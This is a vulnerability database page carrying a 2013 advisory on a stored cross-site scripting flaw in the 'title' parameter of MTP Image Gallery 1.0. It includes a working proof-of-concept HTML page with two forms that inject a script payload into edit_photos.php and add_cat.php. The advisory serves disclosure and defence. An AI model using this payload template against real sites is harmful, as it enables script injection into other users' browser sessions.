Lucene search
K

MTP Image Gallery 1.0 Cross Site Scripting

🗓️ 25 Feb 2013 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 25 Views

MTP Image Gallery 1.0 Remote Script Insertion Vulnerability in 'title' parameter allows execution of arbitrary HTML and script code

Code
`<!--  
  
MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability  
  
  
Vendor: MTP Scripts  
Product web page: http://www.morephp.net  
Affected version: 1.0  
  
Summary: MTP Image Gallery offers more control, better  
uploading and enhanced performance. With MTP Image Gallery  
you can easily create and maintain albums of photos via an  
intuitive, web interface.  
  
Desc: MTP Image Gallery suffers from a stored XSS vulnerability  
when parsing user input to the 'title' parameter via POST method  
thru 'edit_photos.php' and 'add_cat.php' scripts. Attackers can  
exploit this weakness to execute arbitrary HTML and script code  
in a user's browser session.  
  
Tested on: Linux, Apache2  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2013-5130  
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5130.php  
  
  
17.02.2013  
  
-->  
  
<html>  
<head>  
<title>MTP Image Gallery 1.0 (title) Remote Script Insertion Vulnerability</title>  
</head>  
<body><center>  
<form method="POST" action="http://localhost/gallery/admin/edit_photos.php?ID=39&action=edit">  
<input type="hidden" name="title" value='"><script>alert(1);</script>' />  
<input type="hidden" name="Filedata" value="" />  
<input type="hidden" name="cats" value="12" />  
<input type="hidden" name="status" value="1" />  
<input type="hidden" name="full" value="1" />  
<input type="hidden" name="views" value="1" />  
<input type="hidden" name="rating" value="1" />  
<input type="hidden" name="author" value="lqwrm" />  
<input type="hidden" name="action" value="add" />  
<input type="submit" value="XSS #1" />  
</form>  
<br /><br />  
<form method="POST" action="http://localhost/gallery/admin/add_cat.php">  
<input type="hidden" name="action" value="add" />  
<input type="hidden" name="cats" value="1" />  
<input type="hidden" name="full" value="1" />  
<input type="hidden" name="title" value='"><script>alert(2);</script>' />  
<input type="submit" value="XSS #2" />  
</form>  
</center></body>  
</html>  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation